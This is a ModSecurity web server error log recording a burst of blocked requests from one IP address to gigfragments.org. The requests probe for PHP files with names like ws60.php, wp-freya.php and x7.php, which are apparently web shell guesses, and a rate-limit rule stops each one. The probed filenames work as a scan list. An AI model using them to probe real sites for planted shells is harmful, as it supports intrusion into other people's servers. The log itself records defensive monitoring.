[Sat Feb 28 19:01:25.972005 2026] [:error] [pid 49763:tid 49789] [client 20.91.194.140:33317] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaLLBbTHSOG_yf2PpqGR-gAAAdc"]
[Sat Feb 28 19:01:27.128712 2026] [:error] [pid 39184:tid 39241] [client 20.91.194.140:33316] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaLLB1tZF9Zd_U7easB4BwAAAFY"]
[Sat Feb 28 19:01:28.223356 2026] [:error] [pid 39292:tid 39296] [client 20.91.194.140:63710] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaLLCKIAO5fN7BxyqcFOCQAAAMI"]
[Sat Feb 28 19:01:29.173362 2026] [:error] [pid 52460:tid 52472] [client 20.91.194.140:27007] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaLLCbLWOogAgHGh62QYvwAAAYk"]
[Sat Feb 28 19:01:30.368136 2026] [:error] [pid 49763:tid 49769] [client 20.91.194.140:49473] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "aaLLCrTHSOG_yf2PpqGSIAAAAcM"]
[Sat Feb 28 19:01:32.031368 2026] [:error] [pid 39183:tid 39214] [client 20.91.194.140:59248] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "aaLLDBCf4HvhVePw3Lan1gAAABY"]
[Sat Feb 28 19:01:33.678677 2026] [:error] [pid 39183:tid 39210] [client 20.91.194.140:63737] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "aaLLDRCf4HvhVePw3Lan5AAAABI"]
[Sat Feb 28 19:01:35.931197 2026] [:error] [pid 11791:tid 11815] [client 20.91.194.140:49519] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "aaLLD2uX5e1Q32gqxH2fegAAARY"]
[Sat Feb 28 19:01:37.311656 2026] [:error] [pid 39184:tid 39228] [client 20.91.194.140:33290] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaLLEVtZF9Zd_U7easB4JAAAAEk"]
[Sat Feb 28 19:01:38.622029 2026] [:error] [pid 52460:tid 52484] [client 20.91.194.140:33823] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaLLErLWOogAgHGh62QY4gAAAZU"]
[Sat Feb 28 19:01:40.835163 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:65448] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaLLFLTHSOG_yf2PpqGSfAAAAcs"]
[Sat Feb 28 19:01:42.565401 2026] [:error] [pid 52460:tid 52464] [client 20.91.194.140:51555] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaLLFrLWOogAgHGh62QY5wAAAYE"]
[Sat Feb 28 19:01:43.617549 2026] [:error] [pid 49763:tid 49788] [client 20.91.194.140:51548] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "aaLLF7THSOG_yf2PpqGSlAAAAdY"]
[Sat Feb 28 19:01:44.740331 2026] [:error] [pid 39183:tid 39206] [client 20.91.194.140:47034] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "aaLLGBCf4HvhVePw3LaoHwAAAA4"]
[Sat Feb 28 19:01:45.767220 2026] [:error] [pid 39292:tid 39306] [client 20.91.194.140:33340] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "aaLLGaIAO5fN7BxyqcFOFwAAAMw"]
[Sat Feb 28 19:01:48.732902 2026] [:error] [pid 39183:tid 39212] [client 20.91.194.140:37711] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "aaLLHBCf4HvhVePw3LaoTwAAABQ"]
[Sat Feb 28 19:01:49.859031 2026] [:error] [pid 39184:tid 39228] [client 20.91.194.140:33809] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dsd.php"] [unique_id "aaLLHVtZF9Zd_U7easB4MQAAAEk"]
[Sat Feb 28 19:02:11.542165 2026] [:error] [pid 39183:tid 39199] [client 20.91.194.140:42780] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fr/ms.php"] [unique_id "aaLLMxCf4HvhVePw3Lao5wAAAAc"]
[Sat Feb 28 19:02:15.127179 2026] [:error] [pid 52460:tid 52479] [client 20.91.194.140:65420] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fr/ms.php"] [unique_id "aaLLN7LWOogAgHGh62QZsAAAAZA"]
[Sat Feb 28 19:02:16.734528 2026] [:error] [pid 49763:tid 49766] [client 20.91.194.140:30501] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fr/ms.php"] [unique_id "aaLLOLTHSOG_yf2PpqGTfwAAAcA"]
[Sat Feb 28 19:02:18.347395 2026] [:error] [pid 39183:tid 39206] [client 20.91.194.140:59246] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fr/ms.php"] [unique_id "aaLLOhCf4HvhVePw3Lao_AAAAA4"]
[Sat Feb 28 19:02:20.216486 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:33817] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aaLLPLTHSOG_yf2PpqGTpgAAAdI"]
[Sat Feb 28 19:02:21.793103 2026] [:error] [pid 49763:tid 49785] [client 20.91.194.140:2256] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aaLLPbTHSOG_yf2PpqGTuwAAAdM"]
[Sat Feb 28 19:02:25.009482 2026] [:error] [pid 52460:tid 52478] [client 20.91.194.140:65459] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aaLLQbLWOogAgHGh62QZtgAAAY8"]
[Sat Feb 28 19:02:28.925873 2026] [:error] [pid 49763:tid 49775] [client 20.91.194.140:38294] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aaLLRLTHSOG_yf2PpqGT_wAAAck"]
[Sat Feb 28 19:02:30.924214 2026] [:error] [pid 39184:tid 39224] [client 20.91.194.140:38285] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aaLLRltZF9Zd_U7easB4VgAAAEU"]
[Sat Feb 28 19:02:33.578759 2026] [:error] [pid 39183:tid 39214] [client 20.91.194.140:33797] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aaLLSRCf4HvhVePw3LapRwAAABY"]
[Sat Feb 28 19:02:36.102915 2026] [:error] [pid 49763:tid 49783] [client 20.91.194.140:27356] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aaLLTLTHSOG_yf2PpqGUQAAAAdE"]
[Sat Feb 28 19:02:37.916954 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:26895] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aaLLTbTHSOG_yf2PpqGUUwAAAcE"]
[Sat Feb 28 19:02:39.898336 2026] [:error] [pid 39184:tid 39224] [client 20.91.194.140:27707] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaLLT1tZF9Zd_U7easB4ZAAAAEU"]
[Sat Feb 28 19:02:40.971444 2026] [:error] [pid 39185:tid 39246] [client 20.91.194.140:33798] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaLLUBVE-FfM89u7BQaD1gAAAIA"]
[Sat Feb 28 19:02:42.041654 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:30515] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaLLUrTHSOG_yf2PpqGUdQAAAcs"]
[Sat Feb 28 19:02:44.933552 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:38325] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaLLVLTHSOG_yf2PpqGUgQAAAdI"]
[Sat Feb 28 19:02:45.947133 2026] [:error] [pid 52460:tid 52481] [client 20.91.194.140:23280] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aaLLVbLWOogAgHGh62QZ9QAAAZI"]
[Sat Feb 28 19:02:48.842749 2026] [:error] [pid 22194:tid 22216] [client 20.91.194.140:26983] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aaLLWH6mbajs3bzQGyuKQwAAAVQ"]
[Sat Feb 28 19:02:50.963171 2026] [:error] [pid 39185:tid 39261] [client 20.91.194.140:21319] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aaLLWhVE-FfM89u7BQaD4QAAAI8"]
[Sat Feb 28 19:02:51.975292 2026] [:error] [pid 11791:tid 11800] [client 20.91.194.140:21368] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aaLLW2uX5e1Q32gqxH2gNQAAAQc"]
[Sat Feb 28 19:02:52.676374 2026] [:error] [pid 11791:tid 11799] [client 20.91.194.140:51615] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rum.php"] [unique_id "aaLLXGuX5e1Q32gqxH2gPgAAAQY"]
[Sat Feb 28 19:02:53.568117 2026] [:error] [pid 39183:tid 39195] [client 20.91.194.140:27659] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rum.php"] [unique_id "aaLLXRCf4HvhVePw3LapgQAAAAM"]
[Sat Feb 28 19:02:55.025658 2026] [:error] [pid 39185:tid 39257] [client 20.91.194.140:2254] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rum.php"] [unique_id "aaLLXxVE-FfM89u7BQaD5wAAAIs"]
[Sat Feb 28 19:02:56.191872 2026] [:error] [pid 39183:tid 39214] [client 20.91.194.140:23253] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rum.php"] [unique_id "aaLLYBCf4HvhVePw3LapjQAAABY"]
[Sat Feb 28 19:02:57.596495 2026] [:error] [pid 22194:tid 22215] [client 20.91.194.140:21357] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaLLYX6mbajs3bzQGyuKZAAAAVM"]
[Sat Feb 28 19:03:00.152173 2026] [:error] [pid 11791:tid 11804] [client 20.91.194.140:29784] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaLLZGuX5e1Q32gqxH2gXwAAAQs"]
[Sat Feb 28 19:03:02.165994 2026] [:error] [pid 39184:tid 39229] [client 20.91.194.140:22476] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaLLZltZF9Zd_U7easB4lAAAAEo"]
[Sat Feb 28 19:03:03.402732 2026] [:error] [pid 52460:tid 52464] [client 20.91.194.140:27688] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaLLZ7LWOogAgHGh62QaIwAAAYE"]
[Sat Feb 28 19:03:04.465943 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:30498] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wio.php"] [unique_id "aaLLaBCf4HvhVePw3LappQAAAAA"]
[Sat Feb 28 19:03:07.904281 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:28712] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wio.php"] [unique_id "aaLLa7THSOG_yf2PpqGUwwAAAdI"]
[Sat Feb 28 19:03:29.907110 2026] [:error] [pid 39184:tid 39221] [client 20.91.194.140:38314] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "aaLLgVtZF9Zd_U7easB49gAAAEI"]
[Sat Feb 28 19:03:31.218335 2026] [:error] [pid 11791:tid 11804] [client 20.91.194.140:29769] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "aaLLg2uX5e1Q32gqxH2glwAAAQs"]
[Sat Feb 28 19:03:33.345783 2026] [:error] [pid 39183:tid 39216] [client 20.91.194.140:28713] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "aaLLhRCf4HvhVePw3LaqDgAAABg"]
[Sat Feb 28 19:03:34.158872 2026] [:error] [pid 52460:tid 52484] [client 20.91.194.140:28684] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "aaLLhrLWOogAgHGh62QamAAAAZU"]
[Sat Feb 28 19:03:37.569083 2026] [:error] [pid 39184:tid 39237] [client 20.91.194.140:22496] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jq.php"] [unique_id "aaLLiVtZF9Zd_U7easB5HAAAAFI"]
[Sat Feb 28 19:03:39.992942 2026] [:error] [pid 39183:tid 39213] [client 20.91.194.140:51588] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jq.php"] [unique_id "aaLLixCf4HvhVePw3LaqOwAAABU"]
[Sat Feb 28 19:03:41.531169 2026] [:error] [pid 39183:tid 39194] [client 20.91.194.140:24390] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jq.php"] [unique_id "aaLLjRCf4HvhVePw3LaqTAAAAAI"]
[Sat Feb 28 19:03:42.802290 2026] [:error] [pid 49763:tid 49766] [client 20.91.194.140:29782] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jq.php"] [unique_id "aaLLjrTHSOG_yf2PpqGVawAAAcA"]
[Sat Feb 28 19:03:45.420024 2026] [:error] [pid 39183:tid 39197] [client 20.91.194.140:29807] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaLLkRCf4HvhVePw3LaqVgAAAAU"]
[Sat Feb 28 19:03:47.855810 2026] [:error] [pid 39292:tid 39306] [client 20.91.194.140:51600] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaLLk6IAO5fN7BxyqcFOzgAAAMw"]
